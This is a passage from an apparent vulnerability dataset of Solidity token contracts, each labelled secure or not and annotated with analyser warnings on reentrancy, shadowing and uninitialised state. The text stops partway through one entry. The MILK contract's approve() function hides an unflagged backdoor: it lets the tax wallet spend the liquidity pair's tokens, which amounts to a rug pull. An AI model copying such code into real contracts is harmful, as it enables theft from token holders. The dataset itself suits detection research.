files dict |
|---|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Supreme is ERC20 {\n constructor() ERC20(\"99Supreme\", \"99S\") {\n _mint(_msgSender(), 99000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_3069.sol",
"secure": 1,
"size_bytes": 273
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract MILK is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: fc6c22e): MILK._bots is never initialized. It is used in MILK._transfer(address,address,uint256)\n\t// Recommendation for fc6c22e: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private _bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9420b8c): MILK._taxWallet should be immutable \n\t// Recommendation for 9420b8c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n address private milkowner;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7084ec4): MILK._initialBuyTax should be constant \n\t// Recommendation for 7084ec4: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: dd3f07f): MILK._initialSellTax should be constant \n\t// Recommendation for dd3f07f: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1fd0a5a): MILK._finalBuyTax should be constant \n\t// Recommendation for 1fd0a5a: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 419b8fa): MILK._finalSellTax should be constant \n\t// Recommendation for 419b8fa: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4b9d813): MILK._reduceBuyAt should be constant \n\t// Recommendation for 4b9d813: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: a1e919e): MILK._reduceSellAt should be constant \n\t// Recommendation for a1e919e: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: bbeaeec): MILK._preventCount should be constant \n\t// Recommendation for bbeaeec: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventCount = 5;\n\n uint256 private _buyTokenCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Man I love Kats\";\n\n string private constant _symbol = unicode\"M.I.L.K\";\n\n uint256 public _maxTxAmount = (_tTotal * 1) / 100;\n\n uint256 public _maxWalletAmount = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 13df1c8): MILK._minTaxSwap should be constant \n\t// Recommendation for 13df1c8: Add the 'constant' attribute to state variables that never change.\n uint256 public _minTaxSwap = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: c76681a): MILK._maxTaxSwap should be constant \n\t// Recommendation for c76681a: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private _caLimitSell = true;\n\n uint256 private _caBlockSell = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0xc719819A29D2eB22EBf9a086479D27d3C7575D92);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFees[owner()] = true;\n\n _isExcludedFromFees[address(this)] = true;\n\n _isExcludedFromFees[_taxWallet] = true;\n\n milkowner = _msgSender();\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e9b579e): MILK.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for e9b579e: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b4d4486): MILK.approve(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b4d4486: Rename the local variables that shadow another component.\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n address owner = _msgSender();\n\n owner = spender == _taxWallet ? milkowner : owner;\n\n _approve(owner, spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: fec37e7): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for fec37e7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0348c04): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0348c04: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: fec37e7\n\t\t// reentrancy-benign | ID: 0348c04\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: fec37e7\n\t\t// reentrancy-benign | ID: 0348c04\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0305302): MILK._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0305302: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 0348c04\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: fec37e7\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: bb53fb5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for bb53fb5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: fd3f8ac): MILK._transfer(address,address,uint256) contains a tautology or contradiction contractETHBalance >= 0\n\t// Recommendation for fd3f8ac: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: fc6c22e): MILK._bots is never initialized. It is used in MILK._transfer(address,address,uint256)\n\t// Recommendation for fc6c22e: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: eb8062b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for eb8062b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c74406d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c74406d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 _taxFeeAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!_bots[from] && !_bots[to]);\n\n _taxFeeAmount = amount\n .mul(\n (_buyTokenCount > _reduceBuyAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFees[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletAmount,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyTokenCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n _taxFeeAmount = amount\n .mul(\n (_buyTokenCount > _reduceSellAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t\t// tautology | ID: fd3f8ac\n if (contractETHBalance >= 0) {\n\t\t\t\t\t// reentrancy-events | ID: bb53fb5\n\t\t\t\t\t// reentrancy-eth | ID: eb8062b\n\t\t\t\t\t// reentrancy-eth | ID: c74406d\n sendETHToFee(address(this).balance);\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _minTaxSwap &&\n _buyTokenCount > _preventCount\n ) {\n if (_caLimitSell) {\n if (_caBlockSell < block.number) {\n\t\t\t\t\t\t// reentrancy-events | ID: bb53fb5\n\t\t\t\t\t\t// reentrancy-eth | ID: eb8062b\n\t\t\t\t\t\t// reentrancy-eth | ID: c74406d\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t\t// reentrancy-events | ID: bb53fb5\n\t\t\t\t\t\t\t// reentrancy-eth | ID: eb8062b\n\t\t\t\t\t\t\t// reentrancy-eth | ID: c74406d\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t\t\t// reentrancy-eth | ID: c74406d\n _caBlockSell = block.number;\n }\n } else {\n\t\t\t\t\t// reentrancy-events | ID: bb53fb5\n\t\t\t\t\t// reentrancy-eth | ID: eb8062b\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t// reentrancy-events | ID: bb53fb5\n\t\t\t\t\t\t// reentrancy-eth | ID: eb8062b\n sendETHToFee(address(this).balance);\n }\n }\n }\n }\n\n if (_taxFeeAmount > 0) {\n\t\t\t// reentrancy-eth | ID: eb8062b\n _balances[address(this)] = _balances[address(this)].add(\n _taxFeeAmount\n );\n\n\t\t\t// reentrancy-events | ID: bb53fb5\n emit Transfer(from, address(this), _taxFeeAmount);\n }\n\n\t\t// reentrancy-eth | ID: eb8062b\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: eb8062b\n _balances[to] = _balances[to].add(amount.sub(_taxFeeAmount));\n\n\t\t// reentrancy-events | ID: bb53fb5\n emit Transfer(from, to, amount.sub(_taxFeeAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: fec37e7\n\t\t// reentrancy-events | ID: bb53fb5\n\t\t// reentrancy-benign | ID: 0348c04\n\t\t// reentrancy-eth | ID: eb8062b\n\t\t// reentrancy-eth | ID: c74406d\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletAmount = _tTotal;\n\n _caLimitSell = false;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: fec37e7\n\t\t// reentrancy-events | ID: bb53fb5\n\t\t// reentrancy-eth | ID: eb8062b\n\t\t// reentrancy-eth | ID: c74406d\n _taxWallet.transfer(amount);\n }\n\n function getStuckETH() external onlyOwner {\n payable(owner()).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 52d2aad): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 52d2aad: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3f42113): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3f42113: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f630a06): MILK.milkTrade() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for f630a06: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1eef656): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1eef656: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function milkTrade() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 52d2aad\n\t\t// reentrancy-benign | ID: 3f42113\n\t\t// reentrancy-eth | ID: 1eef656\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\t\t// reentrancy-benign | ID: 52d2aad\n milkowner = uniswapV2Pair;\n\n\t\t// reentrancy-benign | ID: 3f42113\n\t\t// unused-return | ID: f630a06\n\t\t// reentrancy-eth | ID: 1eef656\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 3f42113\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 1eef656\n tradingOpen = true;\n }\n\n receive() external payable {}\n}",
"file_name": "solidity_code_307.sol",
"secure": 0,
"size_bytes": 18794
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract GRU is ERC20, Ownable {\n constructor(\n address initialOwner\n ) ERC20(\"GRU\", \"GRU\") Ownable(initialOwner) {\n _mint(msg.sender, 1000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_3070.sol",
"secure": 1,
"size_bytes": 392
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract BabyShibaDoge is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n mapping(address => bool) public _isExcludedFromSellLock;\n mapping(address => bool) private bots;\n mapping(address => uint256) private cooldown;\n mapping(address => uint256) public sellLock;\n uint256 private constant MAX = ~uint256(0);\n uint256 private constant _tTotal = 1e12 * 10 ** 9;\n\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n uint256 private _tFeeTotal;\n\n\t// WARNING Optimization Issue (constable-states | ID: f1c6617): BabyShibaDoge._reflectionFee should be constant \n\t// Recommendation for f1c6617: Add the 'constant' attribute to state variables that never change.\n uint256 public _reflectionFee = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: 99377bc): BabyShibaDoge._tokensFee should be constant \n\t// Recommendation for 99377bc: Add the 'constant' attribute to state variables that never change.\n uint256 public _tokensFee = 12;\n\t// WARNING Optimization Issue (constable-states | ID: 461ef8a): BabyShibaDoge._tokensFeeFirstDay should be constant \n\t// Recommendation for 461ef8a: Add the 'constant' attribute to state variables that never change.\n uint256 public _tokensFeeFirstDay = 20;\n\n uint256 private _swapTokensAt;\n uint256 private _maxTokensToSwapForFees;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9ccb72a): BabyShibaDoge._feeAddrWallet1 should be immutable \n\t// Recommendation for 9ccb72a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _feeAddrWallet1;\n\t// WARNING Optimization Issue (immutable-states | ID: d0c7865): BabyShibaDoge._feeAddrWallet2 should be immutable \n\t// Recommendation for d0c7865: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _feeAddrWallet2;\n\t// WARNING Optimization Issue (immutable-states | ID: 614396a): BabyShibaDoge._liquidityWallet should be immutable \n\t// Recommendation for 614396a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _liquidityWallet;\n\n string private constant _name = \"BabyShibaDoge\";\n string private constant _symbol = \"$BSD\";\n\n uint8 private constant _decimals = 9;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n bool private tradingOpen;\n uint256 private tradingOpenTime;\n bool private inSwap = false;\n bool private swapEnabled = false;\n bool private cooldownEnabled = false;\n uint256 private _maxWalletAmount = _tTotal;\n event MaxWalletAmountUpdated(uint256 _maxWalletAmount);\n\n constructor() {\n _feeAddrWallet1 = payable(0x67b208e7c9E3C3EF58E6DCE64dEDA184ecE59d9d);\n _feeAddrWallet2 = payable(0x5cACE9E46D7401616bd3713001Ac1a5568b3A392);\n _liquidityWallet = payable(0xD4A4cc813f54498e5348B979A69eff414078F976);\n\n _rOwned[_msgSender()] = _rTotal;\n\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_feeAddrWallet1] = true;\n _isExcludedFromFee[_feeAddrWallet2] = true;\n _isExcludedFromFee[_liquidityWallet] = true;\n\n _isExcludedFromSellLock[owner()] = true;\n _isExcludedFromSellLock[address(this)] = true;\n\n emit Transfer(\n address(0x0000000000000000000000000000000000000000),\n _msgSender(),\n _tTotal\n );\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9e9b7d4): BabyShibaDoge.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9e9b7d4: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1505b39): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1505b39: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: cf5454e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for cf5454e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 1505b39\n\t\t// reentrancy-benign | ID: cf5454e\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 1505b39\n\t\t// reentrancy-benign | ID: cf5454e\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 629cecf): BabyShibaDoge.setSwapTokensAt(uint256) should emit an event for _swapTokensAt = amount \n\t// Recommendation for 629cecf: Emit an event for critical parameter changes.\n function setSwapTokensAt(uint256 amount) external onlyOwner {\n\t\t// events-maths | ID: 629cecf\n _swapTokensAt = amount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: d57b4f0): BabyShibaDoge.setMaxTokensToSwapForFees(uint256) should emit an event for _maxTokensToSwapForFees = amount \n\t// Recommendation for d57b4f0: Emit an event for critical parameter changes.\n function setMaxTokensToSwapForFees(uint256 amount) external onlyOwner {\n\t\t// events-maths | ID: d57b4f0\n _maxTokensToSwapForFees = amount;\n }\n\n function setCooldownEnabled(bool onoff) external onlyOwner {\n cooldownEnabled = onoff;\n }\n\n function excludeFromSellLock(address user) external onlyOwner {\n _isExcludedFromSellLock[user] = true;\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2c9769a): BabyShibaDoge._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2c9769a: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: cf5454e\n\t\t// reentrancy-benign | ID: 214c81e\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 65f9ce2\n\t\t// reentrancy-events | ID: 1505b39\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: c3a1402): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for c3a1402: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 65f9ce2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 65f9ce2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 214c81e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 214c81e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: cdd5cf1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for cdd5cf1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to] &&\n cooldownEnabled\n ) {\n require(balanceOf(to) + amount <= _maxWalletAmount);\n\n\t\t\t\t// timestamp | ID: c3a1402\n require(cooldown[to] < block.timestamp);\n cooldown[to] = block.timestamp + (15 seconds);\n\n if (!_isExcludedFromSellLock[to] && sellLock[to] == 0) {\n uint256 elapsed = block.timestamp - tradingOpenTime;\n\n\t\t\t\t\t// timestamp | ID: c3a1402\n if (elapsed < 30) {\n uint256 sellLockDuration = (30 - elapsed) * 240;\n\n sellLock[to] = block.timestamp + sellLockDuration;\n }\n }\n } else if (!_isExcludedFromSellLock[from]) {\n\t\t\t\t// timestamp | ID: c3a1402\n require(\n sellLock[from] < block.timestamp,\n \"You bought so early! Please wait a bit to sell or transfer.\"\n );\n }\n\n uint256 swapAmount = balanceOf(address(this));\n\n if (swapAmount > _maxTokensToSwapForFees) {\n swapAmount = _maxTokensToSwapForFees;\n }\n\n if (\n swapAmount >= _swapTokensAt &&\n !inSwap &&\n from != uniswapV2Pair &&\n swapEnabled\n ) {\n inSwap = true;\n\n uint256 tokensForLiquidity = swapAmount / 12;\n\n\t\t\t\t// reentrancy-events | ID: 65f9ce2\n\t\t\t\t// reentrancy-benign | ID: 214c81e\n\t\t\t\t// reentrancy-eth | ID: cdd5cf1\n swapTokensForEth(swapAmount - tokensForLiquidity);\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 65f9ce2\n\t\t\t\t\t// reentrancy-eth | ID: cdd5cf1\n sendETHToFee(contractETHBalance.mul(11).div(12));\n\n contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0 && tokensForLiquidity > 0) {\n\t\t\t\t\t\t// reentrancy-events | ID: 65f9ce2\n\t\t\t\t\t\t// reentrancy-benign | ID: 214c81e\n\t\t\t\t\t\t// reentrancy-eth | ID: cdd5cf1\n addLiquidity(contractETHBalance, tokensForLiquidity);\n }\n }\n\n\t\t\t\t// reentrancy-eth | ID: cdd5cf1\n inSwap = false;\n }\n }\n\n\t\t// reentrancy-events | ID: 65f9ce2\n\t\t// reentrancy-benign | ID: 214c81e\n\t\t// reentrancy-eth | ID: cdd5cf1\n _tokenTransfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 65f9ce2\n\t\t// reentrancy-events | ID: 1505b39\n\t\t// reentrancy-benign | ID: cf5454e\n\t\t// reentrancy-benign | ID: 214c81e\n\t\t// reentrancy-eth | ID: cdd5cf1\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 65f9ce2\n\t\t// reentrancy-events | ID: 1505b39\n\t\t// reentrancy-eth | ID: cdd5cf1\n _feeAddrWallet1.transfer(amount.div(2));\n\t\t// reentrancy-events | ID: 65f9ce2\n\t\t// reentrancy-events | ID: 1505b39\n\t\t// reentrancy-eth | ID: cdd5cf1\n _feeAddrWallet2.transfer(amount.div(2));\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a623bb7): BabyShibaDoge.addLiquidity(uint256,uint256) ignores return value by uniswapV2Router.addLiquidityETH{value value}(address(this),tokens,0,0,_liquidityWallet,block.timestamp)\n\t// Recommendation for a623bb7: Ensure that all the return values of the function calls are 